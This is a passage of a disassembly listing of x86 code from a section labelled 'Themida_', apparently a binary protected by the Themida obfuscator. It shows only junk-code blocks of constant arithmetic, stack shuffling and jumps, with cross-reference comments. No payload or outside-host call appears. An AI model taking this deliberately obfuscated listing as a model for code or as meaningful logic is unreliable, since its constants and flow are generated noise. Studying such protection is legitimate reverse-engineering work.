		add	eax, edx
		jmp	loc_56A04C
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebx
		mov	ebx, esp
		push	esi
		push	33F8h
		jmp	loc_55F758
; ---------------------------------------------------------------------------


loc_5650DE:				; CODE XREF: Themida_:0056A246j
		mov	ebp, 5C4D780Eh
		add	[esp+4], ebp
		pop	ebp
		pop	edi
		sub	edi, 5C4D780Eh
		jmp	loc_56DE4F
; ---------------------------------------------------------------------------


loc_5650F4:				; CODE XREF: Themida_:0056914Cj
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		not	ecx
		jmp	loc_56C641
; ---------------------------------------------------------------------------


loc_565106:				; CODE XREF: Themida_:00572927j
		or	ebp, 26A332F6h
		and	ebp, 9EA3154h
		dec	ebp
		shr	ebp, 5
		add	ebp, 623A4BDAh
		xor	ebp, 7327DD40h
		add	ebx, ebp
		pop	ebp
		pop	edi
		push	dword ptr [ebx]
		pop	eax
		mov	ebx, [esp]
		push	ebp
		push	esp
		jmp	loc_56EEFF
; ---------------------------------------------------------------------------


loc_565133:				; CODE XREF: Themida_:0056CADBj
		push	6CABh
		mov	[esp], edi
		push	ecx
		mov	ecx, 73190AF2h
		xor	ecx, 73190AF6h
		mov	edi, ecx
		pop	ecx
		sub	esi, 9D11CCh
		add	esi, edi
		push	ebx
		jmp	loc_55FA0B
; ---------------------------------------------------------------------------


loc_565158:				; CODE XREF: Themida_:00560579j
		sub	eax, 4
		jmp	loc_5705CE
; ---------------------------------------------------------------------------


loc_565160:				; CODE XREF: Themida_:00561AE8j
		or	edx, 155F19BDh
		jmp	loc_562ED3
; ---------------------------------------------------------------------------


loc_56516B:				; CODE XREF: Themida_:00561725j
		xor	ebp, 743C5414h
		push	edi
		mov	edi, 5A6F38A4h
		inc	edi
		neg	edi
		push	eax
		mov	eax, 74297956h
		sub	edi, eax
		pop	eax
		xor	ebp, edi
		mov	edi, [esp]
		jmp	loc_565DDA
; ---------------------------------------------------------------------------


loc_56518D:				; CODE XREF: Themida_:0056D93Ej
		push	edi
		jmp	loc_56D8BC
; ---------------------------------------------------------------------------


loc_565193:				; CODE XREF: Themida_:0057271Cj
		push	eax
		mov	eax, esp
		push	7935h
		mov	[esp], edx
		mov	edx, 0BFE26F6h
		dec	edx
		add	edx, 0F401D90Fh
		jmp	loc_5734AA
; ---------------------------------------------------------------------------


loc_5651AF:				; CODE XREF: Themida_:00573DAAj
		push	eax
		push	3DCBh
		mov	[esp], ecx
		mov	ch, 51h
		jmp	loc_56EC55
; ---------------------------------------------------------------------------


loc_5651BF:				; CODE XREF: Themida_:00562CE0j
		sub	ecx, 1CAF535Bh
		sub	ecx, 0EE09C26h
		sub	ebx, ecx
		jmp	loc_56C1DF
; ---------------------------------------------------------------------------


loc_5651D2:				; CODE XREF: Themida_:0056DD8Ej
		sub	ecx, ebx
		pop	ebx
		push	6AC9h
		mov	[esp], ecx
		push	esi
		jmp	loc_56C328
; ---------------------------------------------------------------------------


loc_5651E3:				; CODE XREF: Themida_:0056A164j
		or	ecx, 20143DA2h
		shl	ecx, 8
		jmp	loc_56A365
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_56F7CD
; ---------------------------------------------------------------------------


loc_5651F7:				; CODE XREF: Themida_:0056A3AAj
		push	dword ptr [esp]
		jmp	loc_56ABDC
; ---------------------------------------------------------------------------


loc_5651FF:				; CODE XREF: Themida_:0056287Ej
		pop	eax
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	[ebx], dl
		jmp	loc_570680
; ---------------------------------------------------------------------------


loc_565211:				; CODE XREF: Themida_:00567EFDj
		mov	eax, [esp]
		jmp	loc_563F6D
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	2CADh
		mov	[esp], edi
		push	392Eh
		mov	[esp], ebx
		jmp	loc_56CD5C
; ---------------------------------------------------------------------------


loc_565231:				; CODE XREF: Themida_:005653DFj
		mov	ecx, 49060DDDh
		xor	ecx, 49060DDFh
		add	edx, ecx
		pop	ecx
		xor	edx, [esp]
		jmp	loc_5739A3
; ---------------------------------------------------------------------------


loc_565247:				; CODE XREF: Themida_:00561416j
		push	edi
		mov	edi, 32104086h
		add	dword ptr [esp+4], 78DF5161h
		add	dword ptr [esp+4], 651F052Fh
		sub	[esp+4], edi
		jmp	loc_56F0CC
; ---------------------------------------------------------------------------


loc_565266:				; CODE XREF: Themida_:005693A7j
		push	ecx
		mov	ecx, 4D1E2921h
		and	eax, ecx
		pop	ecx
		neg	eax
		and	eax, 454D2716h
		shr	eax, 7
		xor	eax, 8A8A0Fh
		add	ebp, eax
		jmp	loc_56A893
; ---------------------------------------------------------------------------


loc_565285:				; CODE XREF: Themida_:0056E2FBj
		pop	ecx
		pop	edi
		jmp	loc_5671D9
; ---------------------------------------------------------------------------


loc_56528C:				; CODE XREF: Themida_:0056762Fj
		inc	bh
		sub	bh, 1
		jmp	loc_570BD7
; ---------------------------------------------------------------------------


loc_565296:				; CODE XREF: Themida_:005644F3j
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5613E2
; ---------------------------------------------------------------------------


loc_5652A4:				; CODE XREF: Themida_:0056C4E5j
		xor	edx, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		jmp	loc_567685
; ---------------------------------------------------------------------------


loc_5652B3:				; CODE XREF: Themida_:005708CFj
		dec	edx
		xor	edx, 0EDF37E69h
		jmp	loc_562B1E
; ---------------------------------------------------------------------------


loc_5652BF:				; CODE XREF: Themida_:0056ADA0j
		mov	edx, 87C5B9C5h
		sub	edi, edx
		pop	edx
		jmp	loc_55FCB8
; ---------------------------------------------------------------------------


loc_5652CC:				; CODE XREF: Themida_:0056748Aj
		pop	ebp
		shl	eax, 8
		add	eax, 53A9DD49h
		xor	esi, eax
		jmp	loc_57437B
; ---------------------------------------------------------------------------


loc_5652DC:				; CODE XREF: Themida_:00564428j
		mov	edi, 756619F4h
		xor	edi, eax
		jmp	loc_56CD3E
; ---------------------------------------------------------------------------


loc_5652E8:				; CODE XREF: Themida_:00565B71j
		dec	ebp
		not	ebp
		jmp	loc_569C56
; ---------------------------------------------------------------------------


loc_5652F0:				; CODE XREF: Themida_:005746E4j
		mov	ecx, 90E29BEh
		xor	[esp+4], ecx
		pop	ecx
		pop	dword ptr [eax]
		sub	esp, 4
		mov	[esp], esi
		push	eax
		mov	eax, 7B103683h
		jmp	loc_561B35
; ---------------------------------------------------------------------------


loc_565310:				; CODE XREF: Themida_:005628E3j
		mov	[esp], ebp
		mov	ebp, 1
		add	eax, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_56B57B
; ---------------------------------------------------------------------------


loc_565329:				; CODE XREF: Themida_:0055FEB2j
		add	esp, 4
		add	eax, 4
		add	eax, 4
		jmp	loc_560E36
; ---------------------------------------------------------------------------


loc_565339:				; CODE XREF: Themida_:00573F3Aj
		pop	ebp
		jmp	loc_562602
; ---------------------------------------------------------------------------


loc_56533F:				; CODE XREF: Themida_:0056C056j
		and	bh, 5Bh
		dec	bh
		jmp	loc_573AA8
; ---------------------------------------------------------------------------


loc_565349:				; CODE XREF: Themida_:0056C4DDj
		mov	esp, [esp]
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_565355:				; CODE XREF: Themida_:00572C73j
		push	12B2h
		mov	[esp], edx
		jmp	loc_571A97
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	esi
		mov	esi, 606C7851h
		shr	esi, 7
		not	esi
		jmp	loc_56FDEA
; ---------------------------------------------------------------------------


loc_565381:				; CODE XREF: Themida_:00571175j
		push	ecx
		jmp	loc_5733B7
; ---------------------------------------------------------------------------


loc_565387:				; CODE XREF: Themida_:00567B98j
		mov	ecx, 2C0C789Fh
		dec	ecx
		dec	ecx
		add	ecx, 0D3F38767h
		jmp	loc_5718FC
; ---------------------------------------------------------------------------


loc_565399:				; CODE XREF: Themida_:00562B84j
		pop	edx
		push	dword ptr [esp]
		pop	edx
		push	eax
		mov	eax, esp
		jmp	loc_566CE9
; ---------------------------------------------------------------------------


loc_5653A6:				; CODE XREF: Themida_:0057084Dj
		add	ebp, 24F52043h
		add	esi, ebp
		jmp	loc_567A10
; ---------------------------------------------------------------------------


loc_5653B3:				; CODE XREF: Themida_:00573E48j
		add	bx, ax
		add	bx, 45AFh
		jmp	loc_565AF2
; ---------------------------------------------------------------------------


loc_5653C0:				; CODE XREF: Themida_:00562199j
		xor	edx, 734F1CFDh
		pop	eax
		jmp	loc_573E04
; ---------------------------------------------------------------------------


loc_5653CC:				; CODE XREF: Themida_:0056B636j
		push	edx
		mov	edx, 11C2371Eh
		jmp	loc_570517
; ---------------------------------------------------------------------------


loc_5653D7:				; CODE XREF: Themida_:00567EE6j
		pop	ebx
		add	esp, 4
		push	ecx
		jmp	loc_565231
; ---------------------------------------------------------------------------


loc_5653E4:				; CODE XREF: Themida_:00569DBFj
		sub	ebp, 79A55C72h
		add	ebp, ecx
		jmp	loc_571CB5
; ---------------------------------------------------------------------------


loc_5653F1:				; CODE XREF: Themida_:005615A5j
		mov	[esp], ebx
		mov	ebx, 4
		mov	eax, ebx
		pop	ebx
		sub	ebp, eax
		push	dword ptr [esp]
		jmp	loc_566A8F
; ---------------------------------------------------------------------------


loc_565406:				; CODE XREF: Themida_:00565C42j
		add	esi, 434D74ECh
		add	esi, edx
		jmp	loc_563746
; ---------------------------------------------------------------------------


loc_565413:				; CODE XREF: Themida_:005616BEj
		sub	al, 0C7h
		pop	bx
		add	al, bl
		sub	esp, 2
		mov	[esp], dx
		push	23DBh
		mov	[esp], eax
		mov	ah, 24h
		not	ah
		xchg	dh, ah
		sub	dh, 1
		push	ebx
		mov	bh, dh
		push	ecx
		mov	cl, ah
		push	ebx
		mov	bl, cl
		mov	dh, bl
		mov	ebx, [esp]
		add	esp, 4
		pop	ecx
		push	edx
		jmp	loc_5649B7
; ---------------------------------------------------------------------------


loc_56544C:				; CODE XREF: Themida_:00562C61j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 5A8711AEh
		shl	esi, 4
		push	ecx
		mov	ecx, 8AB402E0h
		add	esi, ecx
		pop	ecx
		add	edi, esi
		pop	esi
		add	edi, 1C20C82h
		sub	edi, ebp
		jmp	loc_56AADD
; ---------------------------------------------------------------------------


loc_565476:				; CODE XREF: Themida_:005672F7j
		pop	esp
		push	7D3h
		mov	[esp], edx
		push	ebx
		mov	ebx, 40FB244Ah
		add	ebx, 5A200D9Fh
		xor	ebx, 5F8419CBh
		xor	ebx, 0C49F2826h
		mov	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_5654B6:				; CODE XREF: Themida_:0055F76Fj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		dec	esi
		shr	esi, 4
		jmp	loc_56C13C
; ---------------------------------------------------------------------------


loc_5654CF:				; CODE XREF: Themida_:00561AC1j
		add	esi, 0C5DFDE04h
		xor	edx, esi
		jmp	loc_56D611
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	397Ah
		jmp	loc_572706
; ---------------------------------------------------------------------------


loc_5654EA:				; CODE XREF: Themida_:0056B143j
		push	edi
		mov	edi, 58C231BFh
		or	eax, edi
		jmp	loc_561B85
; ---------------------------------------------------------------------------


loc_5654F7:				; CODE XREF: Themida_:0056EB40j
		push	199Dh
		mov	[esp], ecx
		push	edi
		mov	edi, 38CC7EDAh
		jmp	loc_5629D9
; ---------------------------------------------------------------------------


loc_56550A:				; CODE XREF: Themida_:00568AB7j
		pop	eax
		sub	esi, ebp
		pop	ebp
		push	0
		mov	ebx, [esp]
		jmp	loc_567D06
; ---------------------------------------------------------------------------


loc_56551B:				; CODE XREF: Themida_:005728C5j
		mov	eax, 766E5558h
		and	ecx, eax
		pop	eax
		push	ebx
		mov	ebx, 30CB674Ch
		xor	ebx, 0D155F4Fh
		shl	ebx, 2
		shl	ebx, 2
		push	esi
		mov	esi, 31115A22h
		push	edi
		mov	edi, 6FA95EE5h
		jmp	loc_5644AB
; ---------------------------------------------------------------------------


loc_565546:				; CODE XREF: Themida_:00572B61j
		or	esi, edx
		pop	edx
		xor	esi, 200D52FBh
		sub	edx, esi
		pop	esi
		add	edx, 21514A0Eh
		add	edx, 3A3869ABh
		add	edx, edi
		push	eax
		mov	eax, 3A3869ABh
		sub	edx, eax
		pop	eax
		jmp	loc_566154
; ---------------------------------------------------------------------------


loc_56556E:				; CODE XREF: Themida_:0056A262j
		mov	[esp], eax
		mov	eax, 2
		push	eax
		jmp	loc_56C913
; ---------------------------------------------------------------------------


loc_56557C:				; CODE XREF: Themida_:00567FE1j
		push	4A71h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ecx
		push	edx
		mov	edx, 174F52CDh
		xor	edx, 339C1503h
		sub	edx, 0BABAFB62h
		mov	ecx, edx
		jmp	loc_56B466
; ---------------------------------------------------------------------------


loc_5655A3:				; CODE XREF: Themida_:0056EE94j
		mov	esi, 47798C43h
		jmp	loc_571038
; ---------------------------------------------------------------------------


loc_5655AD:				; CODE XREF: Themida_:00565041j
		xor	ecx, esi
		pop	esi
		sub	ecx, 5BDD7CF5h
		jmp	loc_56344F
; ---------------------------------------------------------------------------


loc_5655BB:				; CODE XREF: Themida_:005672A3j
		sub	esi, 0F5AFF749h
		jmp	loc_56C5F9
; ---------------------------------------------------------------------------


loc_5655C6:				; CODE XREF: Themida_:0055FB7Aj
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_56CDC9
; ---------------------------------------------------------------------------


loc_5655D3:				; CODE XREF: Themida_:005724BCj
		or	esi, 2BF56BECh
		jmp	loc_562434
; ---------------------------------------------------------------------------


loc_5655DE:				; CODE XREF: Themida_:0056CC9Dj
		mov	ecx, 6FC05E09h
		not	ecx
		xor	ecx, 0E4DC9E37h
		sub	eax, 53D202ACh
		add	eax, ecx
		add	eax, 53D202ACh
		pop	ecx
		mov	edi, [esp]
		add	esp, 4
		push	esi
		jmp	loc_572FB1
; ---------------------------------------------------------------------------


loc_565607:				; CODE XREF: Themida_:00564570j
		push	72D21FCDh
		pop	ecx
		jmp	loc_571505
; ---------------------------------------------------------------------------


loc_565612:				; CODE XREF: Themida_:0056D11Aj
		neg	edx
		inc	edx
		jmp	loc_5607D3
; ---------------------------------------------------------------------------


loc_56561A:				; CODE XREF: Themida_:00565BA2j
		add	bh, 44h
		add	bh, al
		sub	bh, 44h
		pop	ax
		sub	bh, 0A5h
		jmp	loc_571479
; ---------------------------------------------------------------------------


loc_56562C:				; CODE XREF: Themida_:00573AE8j
		push	edi
		push	ecx
		pop	edi
		push	edi
		xor	dword ptr [esp], 3FA81237h
		pop	esi
		xor	esi, 3FA81237h
		mov	edi, [esp]
		add	esp, 4
		pop	ecx
		jmp	loc_56B4FB
; ---------------------------------------------------------------------------


loc_56564A:				; CODE XREF: Themida_:0056E23Cj
		push	eax
		jmp	loc_56DB71
; ---------------------------------------------------------------------------


loc_565650:				; CODE XREF: Themida_:0056779Fj
		btr	[esp], ax
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56565B:				; CODE XREF: Themida_:00573528j
		add	eax, esi
		sub	eax, 76AC1BB6h
		push	570Ah
		mov	[esp], edx
		mov	edx, 442C01BEh
		add	eax, edx
		pop	edx
		pop	esi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_566979
; ---------------------------------------------------------------------------


loc_565684:				; CODE XREF: Themida_:00561359j
		mov	edx, 59AB2FE6h
		push	ebx
		mov	ebx, 6DE656FAh
		dec	ebx
		add	ebx, 9FF50EEEh
		sub	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_561164
; ---------------------------------------------------------------------------


loc_5656A6:				; CODE XREF: Themida_:0057005Cj
		push	dword ptr [esp]
		jmp	loc_568E5F
; ---------------------------------------------------------------------------


loc_5656AE:				; CODE XREF: Themida_:0056A94Ej
		add	esi, 20EC4A26h
		jmp	loc_56B09C
; ---------------------------------------------------------------------------


loc_5656B9:				; CODE XREF: Themida_:005604E7j
		mov	esi, 4
		add	edx, esi
		pop	esi
		add	edx, 4
		push	3554h
		jmp	loc_56AABA
; ---------------------------------------------------------------------------


loc_5656D1:				; CODE XREF: Themida_:0056018Bj
		pop	ebp
		push	edx
		mov	edx, 35236855h
		or	edx, 0BA97FACh
		sub	edx, 0FFFFFFFFh
		sub	edx, 0FDD0399Bh
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 545A7E3Eh
		push	eax
		mov	eax, 1
		sub	ebx, eax
		pop	eax
		push	esi
		mov	esi, 6DBB37CCh
		add	esi, 67CC7B59h
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	eax, 7B4F4828h
		sub	eax, ebx
		add	eax, 7B4F4828h
		jmp	loc_56E3B6
; ---------------------------------------------------------------------------


loc_565726:				; CODE XREF: Themida_:00563D8Aj
		push	4AD4h
		mov	[esp], esp
		push	edi
		mov	edi, 4
		jmp	loc_56CE77
; ---------------------------------------------------------------------------


loc_565739:				; CODE XREF: Themida_:00564E93j
		sub	ebx, 276741A7h
		pop	ecx
		push	esi
		mov	esi, 543F0C1Eh
		sub	ebp, esi
		pop	esi
		add	ebp, ebx
		add	ebp, 543F0C1Eh
		push	dword ptr [esp]
		pop	ebx
		push	esi
		jmp	loc_560F7A
; ---------------------------------------------------------------------------


loc_56575B:				; CODE XREF: Themida_:00560C5Ej
		mov	ch, dh
		jmp	loc_560EED
; ---------------------------------------------------------------------------


loc_565762:				; CODE XREF: Themida_:00566422j
		sub	eax, edi
		sub	eax, 225648CFh
		jmp	loc_55FB02
; ---------------------------------------------------------------------------


loc_56576E:				; CODE XREF: Themida_:005717A8j
		pop	esi
		add	esi, 62182C4Fh
		jmp	loc_5745B9
; ---------------------------------------------------------------------------


loc_56577A:				; CODE XREF: Themida_:0056ADCAj
		push	esi
		jmp	loc_5624DC
; ---------------------------------------------------------------------------


loc_565780:				; CODE XREF: Themida_:0056F17Bj
		xor	ebx, ecx
		pop	ecx
		add	ebx, 6C8D6EB8h
		xor	ebx, 8CB0ADC4h
		sub	edi, 24C12293h
		jmp	loc_565D15
; ---------------------------------------------------------------------------


loc_56579A:				; CODE XREF: Themida_:00565C75j
		push	ecx
		push	4
		pop	ecx
		push	ebp
		jmp	loc_56BBAB
; ---------------------------------------------------------------------------


loc_5657A7:				; CODE XREF: Themida_:0056B711j
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	esi
		mov	esi, 9D373D7h
		and	esi, 132B0B4Ch
		shl	esi, 6
		sub	esi, 40C0D0FCh
		sub	ebx, 5BE96DD6h
		jmp	loc_55F9DC
; ---------------------------------------------------------------------------


loc_5657E6:				; CODE XREF: Themida_:005605CAj
		mov	dh, ch
		jmp	loc_574065
; ---------------------------------------------------------------------------


loc_5657ED:				; CODE XREF: Themida_:005603CBj
		add	ch, 0Bh
		add	ch, 0FFh
		push	edx
		mov	dh, 70h
		add	ch, 0BDh
		sub	ch, dh
		sub	ch, 0BDh
		pop	edx
		add	bl, 0C7h
		jmp	loc_56B265
; ---------------------------------------------------------------------------


loc_565807:				; CODE XREF: Themida_:00574649j
		mov	[esp], ebp
		jmp	loc_568533
; ---------------------------------------------------------------------------


loc_56580F:				; CODE XREF: Themida_:005713A0j
		push	edi
		mov	edi, 43731BECh
		or	esi, edi
		mov	edi, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_569545
; ---------------------------------------------------------------------------


loc_56582D:				; CODE XREF: Themida_:0056742Ej
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	235h
		jmp	loc_571325
; ---------------------------------------------------------------------------


loc_56583E:				; CODE XREF: Themida_:005715CAj
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_57331C
; ---------------------------------------------------------------------------


loc_56584D:				; CODE XREF: Themida_:00571450j
		pop	ebp
		mov	esi, edi
		push	dword ptr [esp]
		jmp	loc_560C3A
; ---------------------------------------------------------------------------


loc_565858:				; CODE XREF: Themida_:005650ACj
		add	esi, eax
		sub	esi, 6E9E112Dh
		sub	esi, 7E7318A6h
		jmp	loc_561CDC
; ---------------------------------------------------------------------------


loc_56586B:				; CODE XREF: Themida_:0056EB06j
		sub	al, dl
		mov	dx, [esp]
		add	esp, 2
		jmp	near ptr unk_5626A1
; ---------------------------------------------------------------------------


loc_56587C:				; CODE XREF: Themida_:0057305Dj
		pop	edx
		shr	bl, 4
		dec	bl
		jmp	loc_571ED5
; ---------------------------------------------------------------------------


loc_565887:				; CODE XREF: Themida_:00566D29j
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_569BC3
; ---------------------------------------------------------------------------


loc_565895:				; CODE XREF: Themida_:0056F136j
		pop	esp
		mov	[esp], ax
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56589F:				; CODE XREF: Themida_:00573A9Dj
		add	ebp, 1D7E3F31h
		xor	ebp, 7F3155A7h
		sub	edx, 3B7A4BF0h
		sub	edx, ebp
		add	edx, 3B7A4BF0h
		pop	ebp
		jmp	loc_56E759
; ---------------------------------------------------------------------------


loc_5658BF:				; CODE XREF: Themida_:0056B299j
		pop	edi
		xor	edi, 3BE366BEh
		mov	esi, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_56980B
; ---------------------------------------------------------------------------


loc_5658D3:				; CODE XREF: Themida_:0056612Dj
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5693F6
; ---------------------------------------------------------------------------


loc_5658E9:				; CODE XREF: Themida_:0056C381j
		add	edi, ebx
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_562281
; ---------------------------------------------------------------------------


loc_5658F6:				; CODE XREF: Themida_:00572253j
		mov	ch, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_57265C
; ---------------------------------------------------------------------------


loc_56590A:				; CODE XREF: Themida_:00573B88j
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_5610D0
; ---------------------------------------------------------------------------


loc_56593F:				; CODE XREF: Themida_:0056EABEj
		or	ebp, 3A0255C7h
		xor	ebp, 4348256Bh
		add	dword ptr [esp+8], 53EC6F4Bh
		jmp	loc_56BEDE
; ---------------------------------------------------------------------------


loc_565958:				; CODE XREF: Themida_:0056B697j
		inc	di
		xor	di, 74E7h
		jmp	loc_56A2B1
; ---------------------------------------------------------------------------


loc_565964:				; CODE XREF: Themida_:0055FE62j
		mov	ebp, 2A1703BAh
		sub	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	edx, edi
		add	edx, 2A1703BAh
		sub	edx, 6CB21025h
		push	dword ptr [esp]
		pop	edi
		jmp	loc_56D11F
; ---------------------------------------------------------------------------


loc_56598C:				; CODE XREF: Themida_:005715B9j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5742E9
; ---------------------------------------------------------------------------


loc_565997:				; CODE XREF: Themida_:00571500j
		pop	edx
		add	ebx, 0CC85BD8h
		push	esi
		mov	esi, 205B4CB8h
		sub	ecx, 7DF24EC1h
		sub	ecx, esi
		add	ecx, 7DF24EC1h
		mov	esi, [esp]
		add	esp, 4
		add	ecx, ebx
		add	ecx, 205B4CB8h
		pop	ebx
		xor	ecx, [esp]
		jmp	loc_562DE3
; ---------------------------------------------------------------------------


loc_5659C9:				; CODE XREF: Themida_:005660F4j
		mov	ebx, [esp]
		jmp	loc_56F5E9
; ---------------------------------------------------------------------------


loc_5659D1:				; CODE XREF: Themida_:0056D25Aj
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_56BEB5
; ---------------------------------------------------------------------------


loc_5659DB:				; CODE XREF: Themida_:005697A3j
		push	eax
		mov	ax, 0F50Eh
		mov	cx, ax
		pop	eax
		add	dx, cx
		pop	cx
		push	small 7624h
		jmp	loc_5601E1
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5688A5
; ---------------------------------------------------------------------------


loc_5659FB:				; CODE XREF: Themida_:005647CAj
		xchg	ebp, [esp]
		jmp	loc_57264A
; ---------------------------------------------------------------------------


loc_565A03:				; CODE XREF: Themida_:00564288j
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		jmp	loc_55FCFD
; ---------------------------------------------------------------------------


loc_565A18:				; CODE XREF: Themida_:0056F558j
		push	small 76EBh
		mov	[esp], cx
		jmp	loc_567F2D
; ---------------------------------------------------------------------------


loc_565A25:				; CODE XREF: Themida_:0056C2ECj
		add	esp, 4
		push	3604h
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_56C5E4
; ---------------------------------------------------------------------------


loc_565A3D:				; CODE XREF: Themida_:00562581j
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_56FE52
; ---------------------------------------------------------------------------


loc_565A4C:				; CODE XREF: Themida_:0055F9BBj
		push	ecx
		jmp	loc_56C90B
; ---------------------------------------------------------------------------


loc_565A52:				; CODE XREF: Themida_:00565C9Bj
		shl	eax, 2
		jmp	loc_567B60
; ---------------------------------------------------------------------------


loc_565A5A:				; CODE XREF: Themida_:0056ADD8j
		push	3BFBh
		mov	[esp], ebx
		mov	ebx, 4B4400F6h
		add	ebx, 0BB210FFh
		push	6D41h
		mov	[esp], esi
		push	edx
		mov	edx, 0BD4F119Bh
		jmp	loc_56D5D9
; ---------------------------------------------------------------------------


loc_565A80:				; CODE XREF: Themida_:00566B5Dj
		add	esi, 28043389h
		shr	esi, 4
		add	esi, 3C5C189Ch
		sub	esi, 0E06C3F25h
		mov	eax, esi
		jmp	loc_56D6D6
; ---------------------------------------------------------------------------


loc_565A9C:				; CODE XREF: Themida_:00566ECEj
		add	edi, ebp
		sub	edi, 7A24405h
		mov	ebp, [esp]
		add	esp, 4
		shr	edi, 7
		sub	edi, 734AF2h
		push	edx
		mov	edx, 1A8B55FCh
		push	eax
		mov	eax, 0EFB22B9h
		sub	edx, 47426AF8h
		sub	edx, eax
		add	edx, 47426AF8h
		pop	eax
		or	edx, 48B34FACh
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 3A8E346Ah
		add	edi, 0CD9FDD05h
		xor	edx, edi
		mov	edi, [esp]
		jmp	loc_56830B
; ---------------------------------------------------------------------------


loc_565AF2:				; CODE XREF: Themida_:005653BBj
		movzx	eax, ax
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_56636B
; ---------------------------------------------------------------------------


loc_565B00:				; CODE XREF: Themida_:00560DB8j
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_565B05:				; CODE XREF: Themida_:00571829j
		mov	esi, 200000h
		push	7691h
		mov	[esp], esi
		mov	edx, [esp]
		jmp	loc_571AC5
; ---------------------------------------------------------------------------


loc_565B1A:				; CODE XREF: Themida_:00569375j
		mov	esi, 3D6A1Ah
		jmp	loc_56169D
; ---------------------------------------------------------------------------


loc_565B24:				; CODE XREF: Themida_:00561551j
		add	bh, 0FFh
		shr	bh, 6
		jmp	loc_55FDC9
; ---------------------------------------------------------------------------


loc_565B2F:				; CODE XREF: Themida_:0056076Aj
		or	ecx, edi
		pop	edi
		and	ecx, 0C3E2D25h
		sub	ecx, 0C3C2921h
		mov	eax, ecx
		pop	ecx
		jmp	loc_56B59D
; ---------------------------------------------------------------------------


loc_565B46:				; CODE XREF: Themida_:0056B051j
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		add	edx, esi
		pop	esi
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5647D5
; ---------------------------------------------------------------------------


loc_565B5F:				; CODE XREF: Themida_:005643BDj
		mov	edi, [esp]
		add	esp, 4
		mov	edi, esi
		pop	esi
		push	ebp
		mov	ebp, 327F6FFDh
		jmp	loc_5652E8
; ---------------------------------------------------------------------------


loc_565B76:				; CODE XREF: Themida_:0057373Dj
		push	67Dh
		mov	[esp], edi
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_569330
; ---------------------------------------------------------------------------


loc_565B8C:				; CODE XREF: Themida_:0056EF09j
		xchg	ebp, [esp]
		jmp	loc_5613EA
; ---------------------------------------------------------------------------


loc_565B94:				; CODE XREF: Themida_:00566472j
		dec	bh
		xor	bh, 39h
		sub	esp, 2
		mov	[esp], ax
		mov	al, 8
		jmp	loc_56561A
; ---------------------------------------------------------------------------


loc_565BA7:				; CODE XREF: Themida_:00560FC8j
		pop	ebx
		jmp	loc_560656
; ---------------------------------------------------------------------------


loc_565BAD:				; CODE XREF: Themida_:00569028j
		not	eax
		xor	eax, 0EA564A6h
		sub	ecx, eax
		pop	eax
		jmp	loc_566BDA
; ---------------------------------------------------------------------------


loc_565BBC:				; CODE XREF: Themida_:0056417Dj
		sub	ebx, 343F5B9Ch
